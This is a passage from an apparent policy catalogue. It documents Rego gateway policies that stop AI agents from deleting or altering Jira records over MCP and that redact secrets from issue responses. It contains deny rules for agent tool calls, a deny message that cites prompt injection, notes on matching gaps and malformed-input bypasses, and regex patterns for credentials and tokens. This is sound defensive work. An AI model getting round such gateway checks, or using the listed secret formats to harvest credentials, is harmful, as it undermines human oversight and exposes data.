regardless of which project they live in. Run both: sensitive-project write fencing plus a categorical destruction freeze. ## Compliance alignment This policy instantiates the record-freeze family (PF-06, `freeze-destructive-ops`) on Jira's destructive surface, and supports alignment with: - **SOC 2 PI1.5** — integrity of stored records: denies agent-driven deletion that would compromise the completeness of stored issue data. - **HIPAA §164.312(c)** — integrity (anti-alteration) of ePHI that may live in Jira issues; **§164.530(c)** — privacy safeguards, by removing an irreversible destruction path from the agent channel. - **GDPR Art. 5(1)(d)** — accuracy: prevents mass agent-driven loss of records (an accuracy/availability failure) by freezing destruction over MCP. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `mcp-atlassian-jira_delete_issue`), and that prefix is not standardized. The policy matches on the tool-name **suffix** so it stays portable across server-name conventions, and lowercases the name first so casing never causes a silent miss: - `*jira_delete_issue` - `*jira_remove_issue_link` - `*jira_remove_watcher` These are the community sooperset/mcp-atlassian names (verified in the landscape note). The official Rovo server has no delete tools, so there is no official-naming variant to add. If your community deployment renames these tools, add the new suffixes to `destructive_tool_suffixes` in `policy.md`. The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request that omits the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine destructive suffix in the other. `name_of` also fails closed against a **malformed container**: if `resource` or `payload` is itself a bare string (e.g. `"resource": "jira_delete_issue"` instead of `{"name": ...}`), the string is matched directly rather than lost to `object.get`'s default. A number/array/null container, or one with a non-string `name`, resolves to the empty string. The gateway always builds these as objects, so this is defense-in-depth, not a reachable gateway path. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); `input.payload.args` is never read. A frozen call is denied even if it arrives with missing, empty, or unexpected arguments; there is no arg shape an attacker can craft to slip past it. ## Identity / break-glass An optional `allow if` branch exempts members of a placeholder `jira-admins` group, read from the caller's IdP-issued `groups` claim via `object.get(object.get(input.subject, "claims", {}), "groups", [])`. This lets a designated maintenance account perform destruction through the agent during planned cleanup without detaching the policy. The check fails closed: a caller with no `subject`, no `claims`, no `groups`, or no matching group is **not** exempt and the operation is denied. The `groups` claim is honored **only when it is a JSON array** (`is_array` guard): a bare string, or an object/map shape such as `{"role": "jira-admins"}`, is rejected — without that guard a Rego `some group in groups` would iterate an object's *values* and let a map-shaped claim satisfy the grant. To freeze destruction for *everyone* (including admins), delete the break-glass `allow if { is_destructive_tool; caller_is_admin }` branch — the `default allow := false` then denies all callers on the three frozen tools. ## Examples ### Denied (agent tries to delete an issue) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-jira_delete_issue", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "mcp-atlassian-jira_delete_issue", "args": { "issue_key": "PROJ-123" } } } } ``` `allow = false`, `reason = "This destructive Jira operation ... is frozen on the agent channel. ..."`. ### Allowed (non-destructive Jira write) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-jira_add_watcher", "type": "tool" }, "payload": { "name": "mcp-atlassian-jira_add_watcher", "args": { "issue_key": "PROJ-123", "account_id": "5b10..." } } } } ``` `allow = true`, no reason. (Adding a watcher is allowed; only *removing* one is frozen.) ### Allowed (break-glass admin deletes during maintenance) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-jira_delete_issue", "type": "tool" }, "subject": { "sub": "google-apps|admin@acme.com", "claims": { "groups": ["jira-admins"] } }, "payload": { "name": "mcp-atlassian-jira_delete_issue", "args": { "issue_key": "PROJ-123" } } } } ``` `allow = true`, no reason. ## Composition Single-purpose by design. Useful companions in the [`atlassian`](../../../bundles/atlassian/README.md) bundle: - [`jira/deny-write-sensitive-projects`](../deny-write-sensitive-projects/policy.md) — write-side fencing for designated Jira projects (see above). - [`confluence/freeze-page-deletion`](../../confluence/freeze-page-deletion/policy.md) — the parallel freeze for `confluence_delete_page` / `confluence_delete_attachment` (this policy only fences Jira destruction). - A publication-control policy on Confluence page creates/updates to keep drafts from publishing org-wide. ## Known limitations - **Exact-suffix match only.** The rule fires on names ending in `jira_delete_issue` / `jira_remove_issue_link` / `jira_remove_watcher`. A future community tool with a different name (e.g. `jira_delete_issues` or `jira_purge_issue`) would not be covered — add its suffix if your server exposes one. It does not fire on names where the destructive verb is embedded mid-string. - **Suffix match assumes the literal registered tool name.** A name padded with surrounding whitespace or a trailing newline (e.g. `"jira_delete_issue\n"` or `" jira_delete_issue "`) does not end in a frozen suffix and would pass through. This is not reachable through the gateway: the upstream MCP server routes only its exactly-registered tool names, so a padded name never resolves to a real destructive tool and never executes. A `tests.yaml` case pins this behaviour so a future change to add `trim`/ normalisation is a deliberate decision, not an accident. - **Group names are placeholders — replace `jira-admins` with your IdP's group name at import time.** The break-glass branch is only as trustworthy as the `groups` claim your IdP issues; Auth0 and Entra ID both require explicit configuration to emit `groups`. If callers can self-assert group membership, remap it to a claim your IdP controls, or remove the branch entirely to freeze destruction for all callers. With no `groups` claim the policy still fails closed: destruction is denied for everyone. - **Community-server-specific.** These tool names exist only on sooperset/mcp-atlassian. On official Rovo deployments the policy is inert (no delete tools exist), which is intended defense-in-depth, not a gap. - **Destruction via other paths is out of reach.** This only covers the MCP channel. A user deleting an issue in the Jira web UI or via the REST API is outside the gateway's scope by design. Destruction-by-overwrite (e.g. `jira_update_issue` blanking fields) is also out of scope — that belongs to a write-gating companion policy, not this delete/remove freeze. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit a request. Every # non-destructive tool is allowed; the three frozen tools are allowed only for # the break-glass admin group. default allow := false # ----------------------------------------------------------------------------- # FROZEN TOOLS: irreversible community sooperset/mcp-atlassian Jira operations. # These names exist only on the community server; the official Rovo server has # no delete tools, so the rule simply never fires there. Suffix matching keeps # the policy portable across gateway server-name prefixes (e.g. # `mcp-atlassian-jira_delete_issue`). # ----------------------------------------------------------------------------- destructive_tool_suffixes := { "jira_delete_issue", "jira_remove_issue_link", "jira_remove_watcher", } # ----------------------------------------------------------------------------- # BREAK-GLASS: members of this IdP group may still run destructive operations # (planned maintenance). Placeholder — remap to your IdP's group name at import # time. Delete the `allow if { is_destructive_tool; caller_is_admin }` branch # below to freeze destruction for everyone, including admins. # ----------------------------------------------------------------------------- admin_group := "jira-admins" # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a request # that somehow omits the resource block still cannot skip matching (red-team # hardening: missing resource must not fail open). name_of coerces to a # lowercased string and handles three container shapes so the match cannot be # skipped by a malformed request: # 1. normal: input[key] is an object with a string "name". # 2. bare-string container: input[key] is ITSELF the tool-name string (a # malformed request that sends `resource: "jira_delete_issue"` instead of # `resource: {"name": "..."}`). object.get(, "name", "") returns # the default "" — so without this branch the destructive name would be # lost and the call would fail OPEN. Match the container value directly. # 3. anything else (missing key, number, array, null, or a non-string name): # resolves to "" rather than leaving the rule undefined. name_of(key) := lower(container) if { container := object.get(input, key, {}) is_string(container) } name_of(key) := lower(v) if { container := object.get(input, key, {}) not is_string(container) v := object.get(container, "name", "") is_string(v) } name_of(key) := "" if { container := object.get(input, key, {}) not is_string(container) v := object.get(container, "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # The two names are matched independently. Keeping separate branches means a # malformed (non-string) value in one field cannot suppress a real destructive # suffix in the other. is_destructive_tool if { some suffix in destructive_tool_suffixes endswith(resource_name, suffix) } is_destructive_tool if { some suffix in destructive_tool_suffixes endswith(payload_name, suffix) } # Groups from the caller's IdP-issued JWT. Fail closed: a missing subject, # missing claims, missing groups, or a non-array groups value all yield "not # admin", so the destructive call is denied. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) # Only honor an array-shaped groups claim. `some x in obj` iterates an # object's VALUES, so without this guard an object-shaped claim such as # {"role": "jira-admins"} would silently satisfy the break-glass grant. # is_array forces every non-array shape (string, object, number, null) to # fail closed — no exemption. is_array(groups) some group in groups group == admin_group } # Allow everything that is not a frozen destructive tool. allow if { not is_destructive_tool } # Break-glass: allow a frozen destructive operation for members of the admin group. allow if { is_destructive_tool caller_is_admin } # Deny reason for a non-admin caller hitting a frozen destructive tool. reasons contains "This destructive Jira operation (delete issue, remove issue link, or remove watcher) is frozen on the agent channel because it is irreversible: records must survive agent error and prompt injection. Perform the deletion through a human-reviewed native Jira workflow instead. For legitimate admin cleanup, ask a member of your Jira admin group (placeholder: jira-admins) to run it, or ask your InfoSec team to add you to that group." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### JIRA: Protect Sensitive Projects from Writes URL: https://www.intentbasedpolicy.com/policies/jira/deny-write-sensitive-projects App(s): jira | Direction: ingress | Bundles: atlassian, soc2, gdpr-ccpa | Package: jira.ingress.protect_sensitive_projects | Published: 2026-06-16 | Tags: jira, atlassian, access-control, data-protection, ingress, soc2, gdpr-ccpa, iso27001-nist, finserv-comms Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/deny-write-sensitive-projects/policy.md # jira / deny-write-sensitive-projects **Direction:** ingress (`tool_pre_invoke`) **Default:** allow, with targeted denies on writes to sensitive projects **Package:** `jira.ingress.protect_sensitive_projects` ## What it does Blocks write operations against issues that belong to a configurable set of "sensitive" JIRA projects. It is the write-side companion to the read/search restriction policy: where that one keeps sensitive issues out of view, this one keeps callers from modifying, creating, moving, or linking them. Any tool that is not a write, and any project not in the sensitive set, passes through untouched. The set of sensitive projects is configured once at the top of the Rego (`sensitive_projects`) and all comparisons are case-insensitive. ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Jira's write path, with a record-protection slice (family PF-06: the delete / archive / edit denials), and supports alignment with: - **SOC 2 C1.1, PI1.5** — protects confidential projects and the integrity of stored records by denying agent creation, modification, moves, and links. - **HIPAA §164.308(a)(4), §164.312(c)** — information access management and integrity (anti-alteration) for issues in the protected projects. - **GDPR Art. 5(1)(d), Art. 9** — accuracy (prevents mass agent-driven corruption of records) and protection of special-category data held in fenced projects. - **ISO 27001 A.8.3** — information access restriction on designated Jira projects. - **SEC 17a-4(b) / FINRA 4511(c)** — record-integrity support: agents cannot destroy or alter preserved records in fenced projects over MCP. ## Behavior The policy is `default allow := true` and denies a call only when a write targets a sensitive project, across four families of operations: - **Direct writes** — edit, update, transition, assign, delete, archive/unarchive, set priority/labels, comment, worklog, attachment, watcher, and vote operations on an issue whose key resolves to a sensitive project (read from `issueIdOrKey`). - **Links** — link/unlink operations where either the inward or outward issue belongs to a sensitive project. - **Create** — creating an issue whose target project is sensitive. - **Move** — moving an issue into a sensitive project. ## Why ingress Writes have permanent side effects, so the only place to stop them is *before* the call reaches JIRA. Each violation is fully determined by the request (tool name + arguments), so ingress denial prevents the modification from ever executing. Pair this with the read-side [`deny-view-search-sensitive-projects`](../deny-view-search-sensitive-projects/policy.md) policy and the egress [`redact-sensitive-info`](../redact-sensitive-info/policy.md) policy for full read + write + leakage coverage of the same projects. ## Tool name matching Tool names on the gateway are prefixed with the configured MCP server name (e.g. `atlassian-jira-mcp-editjiraissue`), and that prefix is not standardized. The policy matches on the tool-name **suffix** (e.g. `-editjiraissue`, `-createjiraissue`, `-movejiraissue`) so it stays portable across naming conventions. Confirm the exact tool names your gateway emits with the dump-input debug technique, and extend the suffix sets if your JIRA MCP server exposes additional write tools. ## Target-project detection (create / move) Different Atlassian MCP variants ship the target project under different argument names. Rather than assume one shape, the policy collects every project key it can find and denies if any is sensitive: - **Create** — `fields.project.key` (REST-nested), `projectKey`, `projectIdOrKey`, `project_key`, and bare-string `project`. - **Move** — `targetProjectKey`, `targetProjectIdOrKey`, `target_project_key`, and `targetProject.key`. ## Configuration Edit the `sensitive_projects` set at the top of the policy. The shipped keys (`PROJECT_KEY1`, `PROJECT_KEY2`) are **placeholders** — replace them with your own project keys (uppercase). If you also run the read/search-restriction policy for the same projects, mirror this set there so read and write controls stay aligned. ## Examples ### Denied (editing a sensitive-project issue) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-jira-mcp-editjiraissue", "type": "tool" }, "payload": { "name": "atlassian-jira-mcp-editjiraissue", "args": { "issueIdOrKey": "PROJECT_KEY1-42", "fields": { "summary": "new" } } } } } ``` `allow = false`, `reason = "Modifying issues in the 'PROJECT_KEY1' project is not permitted. ..."`. ### Allowed (editing an issue in a non-sensitive project) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-jira-mcp-editjiraissue", "type": "tool" }, "payload": { "name": "atlassian-jira-mcp-editjiraissue", "args": { "issueIdOrKey": "DEV-7", "fields": { "summary": "new" } } } } } ``` `allow = true`, no reason. ## Composition This policy covers the write surface for the configured projects. Useful companions in the same [`atlassian`](../../../bundles/atlassian/README.md) bundle: - [`deny-view-search-sensitive-projects`](../deny-view-search-sensitive-projects/policy.md) — ingress read/search restriction for the same projects. - [`redact-sensitive-info`](../redact-sensitive-info/policy.md) — egress redaction of PII/secrets in returned issue content. ## Known limitations - **Numeric issue IDs are not covered.** Project membership is derived from the `KEY-NNN` form of an issue identifier. A call that references an issue purely by numeric ID carries no project information, so it falls through to allow. If your callers can act on issues by numeric ID, add a complementary control. - **New write tools require a suffix update.** Only the tools listed in the suffix sets are treated as writes. If the MCP server adds a new mutating tool, add its suffix so it is covered. - **No identity-based exemptions.** All callers are treated the same. To add an InfoSec break-glass user, gate a separate `allow if` branch on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.protect_sensitive_projects # Default-allow: only deny when a write tool targets a sensitive project. default allow := true # ----------------------------------------------------------------------------- # CONFIG: Sensitive project keys. Edit this set to add or remove projects. # Stored UPPERCASE — all comparisons normalize input to upper case. # ----------------------------------------------------------------------------- sensitive_projects := { "PROJECT_KEY1", #placeholder value, replace with your target project key "PROJECT_KEY2", #placeholder value, replace with your target project key } # ----------------------------------------------------------------------------- # WRITE TOOLS: any Atlassian tool whose name ends with one of these suffixes is # treated as a write operation. Suffix matching makes this work regardless of # the MCP server name on the gateway (atlassian-, atlassian-jira-mcp-, etc.). # ----------------------------------------------------------------------------- write_tool_suffixes := { "-editjiraissue", "-updatejiraissue", "-transitionjiraissue", "-assignjiraissue", "-deletejiraissue", "-archivejiraissue", "-unarchivejiraissue", "-movejiraissue", "-setjiraissuepriority", "-setjiraissuelabels", "-addjiraissuelabel", "-removejiraissuelabel", "-addcommenttojiraissue", "-editcommentonjiraissue", "-deletecommentfromjiraissue", "-addjiraissueattachment", "-removejiraissueattachment", "-addworklogtojiraissue", "-updateworklog", "-deleteworklog", "-addjiraissuewatcher", "-removejiraissuewatcher", "-voteforjiraissue", "-unvotejiraissue", } link_tool_suffixes := { "-linkjiraissues", "-createjiraissuelink", "-deletejiraissuelink", } create_tool_suffixes := { "-createjiraissue", } # ----------------------------------------------------------------------------- # Helpers # ----------------------------------------------------------------------------- tool_name := lower(input.resource.name) # Extract the project key from a JIRA issue key like "HR-123" -> "HR". # Returns undefined for numeric IDs or malformed keys (rule then falls through). project_from_issue_key(key) := project if { parts := split(key, "-") count(parts) >= 2 project := upper(parts[0]) project != "" } issue_in_sensitive_project if { key := object.get(input.payload.args, "issueIdOrKey", "") project := project_from_issue_key(key) sensitive_projects[project] } linked_issue_in_sensitive_project if { key := object.get(object.get(input.payload.args, "inwardIssue", {}), "key", "") project := project_from_issue_key(key) sensitive_projects[project] } linked_issue_in_sensitive_project if { key := object.get(object.get(input.payload.args, "outwardIssue", {}), "key", "") project := project_from_issue_key(key) sensitive_projects[project] } # ----------------------------------------------------------------------------- # CREATE target project — set of candidate project keys. # Different Atlassian MCP variants ship the target project under different arg # names. Rather than guess one shape, collect any project key we find across # every known location and let the deny rule check if any are sensitive. # Bug fix vs v1: v1 only checked the REST-nested fields.project.key path, # which silently failed when the tool accepts a flattened argument like # projectKey. That allowed create calls to slip through. # ----------------------------------------------------------------------------- # REST shape: args.fields.project.key (e.g. {"fields": {"project": {"key": "HR"}}}) create_target_candidates contains upper(p) if { fields := object.get(input.payload.args, "fields", {}) project_obj := object.get(fields, "project", {}) p := object.get(project_obj, "key", "") is_string(p) p != "" } # Flattened: args.projectKey create_target_candidates contains upper(p) if { p := object.get(input.payload.args, "projectKey", "") is_string(p) p != "" } # Flattened: args.projectIdOrKey (mirrors issueIdOrKey naming) create_target_candidates contains upper(p) if { p := object.get(input.payload.args, "projectIdOrKey", "") is_string(p) p != "" } # Snake-case variant: args.project_key create_target_candidates contains upper(p) if { p := object.get(input.payload.args, "project_key", "") is_string(p) p != "" } # Bare-string variant: args.project = "HR". is_string guard prevents collision # with the REST shape above (where args.project is an object). create_target_candidates contains upper(p) if { p := object.get(input.payload.args, "project", "") is_string(p) p != "" } # ----------------------------------------------------------------------------- # MOVE target project — same family of arg-shape variants as create. # ----------------------------------------------------------------------------- move_target_candidates contains upper(p) if { p := object.get(input.payload.args, "targetProjectKey", "") is_string(p) p != "" } move_target_candidates contains upper(p) if { p := object.get(input.payload.args, "targetProjectIdOrKey", "") is_string(p) p != "" } move_target_candidates contains upper(p) if { p := object.get(input.payload.args, "target_project_key", "") is_string(p) p != "" } move_target_candidates contains upper(p) if { target := object.get(input.payload.args, "targetProject", {}) p := object.get(target, "key", "") is_string(p) p != "" } # ----------------------------------------------------------------------------- # Deny rules # ----------------------------------------------------------------------------- allow := false if { some suffix in write_tool_suffixes endswith(tool_name, suffix) issue_in_sensitive_project } allow := false if { some suffix in link_tool_suffixes endswith(tool_name, suffix) linked_issue_in_sensitive_project } allow := false if { some suffix in create_tool_suffixes endswith(tool_name, suffix) some candidate in create_target_candidates sensitive_projects[candidate] } allow := false if { endswith(tool_name, "-movejiraissue") some candidate in move_target_candidates sensitive_projects[candidate] } # ----------------------------------------------------------------------------- # Reasons # ----------------------------------------------------------------------------- reasons contains msg if { some suffix in write_tool_suffixes endswith(tool_name, suffix) issue_in_sensitive_project key := object.get(input.payload.args, "issueIdOrKey", "") project := project_from_issue_key(key) msg := sprintf("Modifying issues in the '%s' project is not permitted. Contact your InfoSec team if this needs to change.", [project]) } reasons contains "Linking to or from an issue in a protected project is not permitted. Contact your InfoSec team if this needs to change." if { some suffix in link_tool_suffixes endswith(tool_name, suffix) linked_issue_in_sensitive_project } reasons contains msg if { some suffix in create_tool_suffixes endswith(tool_name, suffix) some project in create_target_candidates sensitive_projects[project] msg := sprintf("Creating issues in the '%s' project is not permitted. Contact your InfoSec team if this needs to change.", [project]) } reasons contains msg if { endswith(tool_name, "-movejiraissue") some project in move_target_candidates sensitive_projects[project] msg := sprintf("Moving issues into the '%s' project is not permitted. Contact your InfoSec team if this needs to change.", [project]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### JIRA: Redact Sensitive Information from Issue Views URL: https://www.intentbasedpolicy.com/policies/jira/redact-sensitive-info App(s): jira | Direction: egress | Bundles: atlassian, soc2, gdpr-ccpa | Package: jira.egress.redact_sensitive_info | Published: 2026-06-15 | Tags: jira, atlassian, pii, secrets, dlp, redaction, egress, soc2, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/redact-sensitive-info/policy.md # jira / redact-sensitive-info **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `jira.egress.redact_sensitive_info` ## What it does Redacts sensitive content from the responses of JIRA issue-view tools before they reach the caller. The goal is durable: prevent PII, credentials, and secrets from leaking out through JIRA issue bodies, comments, worklogs, and linked-issue content. It is a transform-only egress policy — it never denies a call, it only rewrites matching content in the response to `[REDACTED]`. Any tool that is not a JIRA issue-view tool passes through untouched. ## Compliance alignment This policy instantiates egress PII/secrets redaction (family PF-02, with a card-number masking slice of family PF-01) and supports alignment with: - **SOC 2 CC6.7, P6.1** — restricts the transmission/movement of confidential and personal information out of Jira issue content, and reduces personal-information disclosure in agent-visible responses. - **HIPAA §164.514(d), §164.514(a)–(b)** — minimum-necessary support: masks identifiers (SSN, email, phone) on the egress path; partial support for de-identification of identifier classes in issue text. - **PCI DSS 3.4.1** — masks card-number-shaped values in displayed responses (pattern-based, not Luhn-validated — see Known limitations). - **GDPR Art. 5(1)(c), Art. 9; CPRA §1798.121, §1798.150** — data minimisation, sensitive-personal-information limitation, and reduced nonredacted-PI breach exposure on the agent channel. - **ISO 27001 A.8.11, A.8.12** — data masking and data-leakage prevention on tool responses. ## Why egress and not ingress The risk here is *reading* secrets that already live inside JIRA issues (pasted into a description, a comment, or a worklog). Those values exist regardless of this gateway, so there is nothing to block at ingress — the leak happens when the content is returned to an MCP client. Masking on the egress (response) path is the only place to catch it. ## Scope / tool matching The policy applies only to JIRA tools that surface issue-body content, matched by tool-name **suffix** so it stays portable regardless of the MCP server name prefix the gateway adds (`atlassian-`, `atlassian-jira-mcp-`, etc.): - `*-getjiraissue` - `*-searchjiraissuesusingjql` - `*-getcommentsforjiraissue` - `*-getjiraissuecomments` - `*-getworklogsforjiraissue` - `*-getjiraissueworklog` - `*-getjiraissueremoteissuelinks` The tool name is read from both `input.resource.name` and `input.tool_metadata.name`, so the policy matches regardless of which surface the gateway populates first. Confirm the exact tool names your gateway sends using the dump-input debug technique before relying on this in production; if your JIRA MCP server exposes other issue-view tools, add their suffixes to `view_tool_suffixes`. ## What gets redacted Redaction works two ways. **By pattern** in any string value: - PII — US SSN, credit card numbers, email addresses, US phone numbers - Cloud / SaaS keys (vendor-prefixed shapes) — AWS access keys (`AKIA…`, `ASIA…`), Google API keys (`AIza…`) and OAuth tokens (`ya29.…`), GitHub tokens (`ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`), GitLab PATs (`glpat-…`), Slack tokens (`xox[abprs]-…`), Stripe keys (`sk_live_`, `sk_test_`, `pk_live_`, `pk_test_`) - OAuth / bearer — `Authorization: Bearer …` headers and JWTs - Generic `key: value` / `key=value` secret assignments (api_key, password, secret, token, client_secret, credentials, …) - Database connection strings with embedded credentials (postgres, mysql, mongodb, redis, amqp, mssql/sqlserver URIs; JDBC strings; ADO.NET-style `Server=…;User Id=…;Password=…`) - PEM private-key blocks (`-----BEGIN … PRIVATE KEY----- … -----END …-----`) And **by field name** — any response field whose key is one of `password`, `passwd`, `pwd`, `secret`, `api_key`, `apikey`, `token`, `access_token`, `refresh_token`, `id_token`, `client_secret`, `private_key`, `connection_string`, or `credentials`. Matches are replaced with `[REDACTED]`. ## Examples ### Redacted (JIRA issue view) ```jsonc { "input": { "action": "tool_post_invoke", "resource": { "name": "atlassian-jira-mcp-getjiraissue", "type": "tool" }, "tool_metadata": { "name": "atlassian-jira-mcp-getjiraissue" } } } ``` `allow = true`, with a `transform` that supplies the redaction patterns, field names, and `replacement = "[REDACTED]"` for the gateway to apply to the response body, plus `reason = "Sensitive content redacted from Jira response"` so the redaction is explained in the dashboard. ### Passed through (any non-issue-view tool) ```jsonc { "input": { "action": "tool_post_invoke", "resource": { "name": "atlassian-jira-mcp-getjiraproject", "type": "tool" }, "tool_metadata": { "name": "atlassian-jira-mcp-getjiraproject" } } } ``` `allow = true`, no `transform` — the response is returned unchanged. ## Composition This policy is single-purpose and transform-only, so it composes cleanly with access-control policies on the same egress pipeline. Useful companions: - An ingress policy that blocks *writing* secrets into JIRA in the first place (so new issues don't accumulate credentials). - Equivalent egress redaction policies for other Atlassian apps (Confluence, Bitbucket). See the [`bundles/atlassian`](../../../bundles/atlassian/README.md) bundle for the curated Atlassian set. ## Known limitations - **Regex over plain text.** Detection is pattern-based, so novel or non-standard token formats, short-lived rotating tokens, and custom-shaped secrets may not be caught. Treat this as a high-signal layer, not a complete DLP solution. - **Scope is issue-view tools only.** Other JIRA tools that might surface issue content (e.g. bulk export or attachment-download endpoints) are not inspected unless you add their suffixes to `view_tool_suffixes`. - **No identity-based exemptions.** All callers get the same redaction. Add an `input.subject.claims`-gated branch if a break-glass role needs raw values. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.egress.redact_sensitive_info # Transform-only policy — never denies, only redacts sensitive content. # Scoped to JIRA tools that return issue-body content. Other tools (including # non-JIRA egress) pass through this policy untouched. default allow := true # ----------------------------------------------------------------------------- # Scope: JIRA tools that surface issue content (summary, description, comments, # worklog, custom fields, linked issues). Suffix matching makes this work # regardless of the MCP server name (atlassian-, atlassian-jira-mcp-, etc.). # ----------------------------------------------------------------------------- view_tool_suffixes := { "-getjiraissue", "-searchjiraissuesusingjql", "-getcommentsforjiraissue", "-getjiraissuecomments", "-getworklogsforjiraissue", "-getjiraissueworklog", "-getjiraissueremoteissuelinks", } is_jira_issue_view if { some suffix in view_tool_suffixes name := lower(input.resource.name) endswith(name, suffix) } is_jira_issue_view if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates first. some suffix in view_tool_suffixes name := lower(object.get(input.tool_metadata, "name", "")) endswith(name, suffix) } # ----------------------------------------------------------------------------- # Redaction transform # ----------------------------------------------------------------------------- transform := { "redact_patterns": [ # ---- PII ---- `\d{3}-\d{2}-\d{4}`, # US SSN `\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}`, # Credit card `[\w.-]+@[\w.-]+\.[\w.-]+`, # Email `\+?1?[- .]?\(?\d{3}\)?[- .]?\d{3}[- .]?\d{4}`, # US phone # ---- Cloud / SaaS API keys (vendor-prefixed shapes) ---- `AKIA[0-9A-Z]{16}`, # AWS access key ID `ASIA[0-9A-Z]{16}`, # AWS temporary (STS) access key `AIza[0-9A-Za-z_-]{35}`, # Google API key `ya29\.[0-9A-Za-z_-]+`, # Google OAuth access token `ghp_[A-Za-z0-9]{36}`, # GitHub personal access token `gho_[A-Za-z0-9]{36}`, # GitHub OAuth token `ghu_[A-Za-z0-9]{36}`, # GitHub user-to-server token `ghs_[A-Za-z0-9]{36}`, # GitHub server-to-server token `ghr_[A-Za-z0-9]{36}`, # GitHub refresh token `glpat-[A-Za-z0-9_-]{20}`, # GitLab personal access token `xox[abprs]-[A-Za-z0-9-]+`, # Slack tokens (bot/app/user/refresh/etc.) `sk_live_[A-Za-z0-9]{24,}`, # Stripe live secret key `sk_test_[A-Za-z0-9]{24,}`, # Stripe test secret key `pk_live_[A-Za-z0-9]{24,}`, # Stripe live publishable key `pk_test_[A-Za-z0-9]{24,}`, # Stripe test publishable key # ---- OAuth / bearer ---- `(?i)bearer\s+[A-Za-z0-9._~+/-]+=*`, # Authorization: Bearer `eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+`, # JWT (header.payload.signature, base64url) # ---- Generic key/value secret patterns ---- `(?i)(?:api[_-]?key|apikey|secret[_-]?key)\s*[:=]\s*\S+`, # api_key=..., api-key: ... `(?i)(?:password|passwd|pwd|secret|token|credentials|client[_-]?secret)\s*[:=]\s*\S+`, # ---- Database connection strings ---- # URI form with embedded user:password (postgres, mysql, mongo, redis, amqp, mssql) `(?i)(?:postgres(?:ql)?|mysql|mongodb(?:\+srv)?|redis(?:s)?|amqps?|mssql|sqlserver)://[^:\s]+:[^@\s]+@[^/\s]+(?:/\S*)?`, `(?i)jdbc:[a-z0-9]+:[^\s]+`, # JDBC strings `(?i)(?:Server|Data Source)\s*=\s*[^;]+;\s*(?:User Id|UID)\s*=\s*[^;]+;\s*(?:Password|PWD)\s*=\s*[^;]+`, # ---- PEM private keys (multi-line, lazy match between BEGIN/END markers) ---- `-----BEGIN [A-Z ]+PRIVATE KEY-----.+?-----END [A-Z ]+PRIVATE KEY-----`, ], "redact_fields": [ "password", "passwd", "pwd", "secret", "api_key", "apikey", "token", "access_token", "refresh_token", "id_token", "client_secret", "private_key", "connection_string", "credentials", ], "replacement": "[REDACTED]", } if { is_jira_issue_view } # Surfaced on the decision event whenever the redaction is in scope, so the # dashboard can explain the rewrite. reason := "Sensitive content redacted from Jira response" if { is_jira_issue_view } ``` ### JIRA: Role-Gated Writes (Read-Only Default) URL: https://www.intentbasedpolicy.com/policies/jira/role-gate-writes App(s): jira | Direction: ingress | Bundles: atlassian, soc2, gdpr-ccpa | Package: jira.ingress.role_gate_writes | Published: 2026-07-12 | Tags: jira, atlassian, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/role-gate-writes/policy.md # jira / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny writes unless the caller is in the writer group; allow reads for everyone **Package:** `jira.ingress.role_gate_writes` ## What it does Makes Jira read-only by default on the MCP path. Every Jira **write** tool — creating an issue, editing an issue, transitioning an issue, commenting on an issue, logging work against an issue, and creating an issue link — is denied unless the caller's IdP `groups` claim contains the placeholder group `jira-writers`. Read and search tools (`getJiraIssue`, `searchJiraIssuesUsingJql`, and the project/issue-type metadata lookups) pass for everyone. This is the per-app least-privilege baseline (family PF-12). It complements the project-scoped [`deny-write-sensitive-projects`](../deny-write-sensitive-projects/policy.md) policy: where that one keeps *specific* projects unwritable by anyone, this one makes mutation the **exception org-wide** rather than the 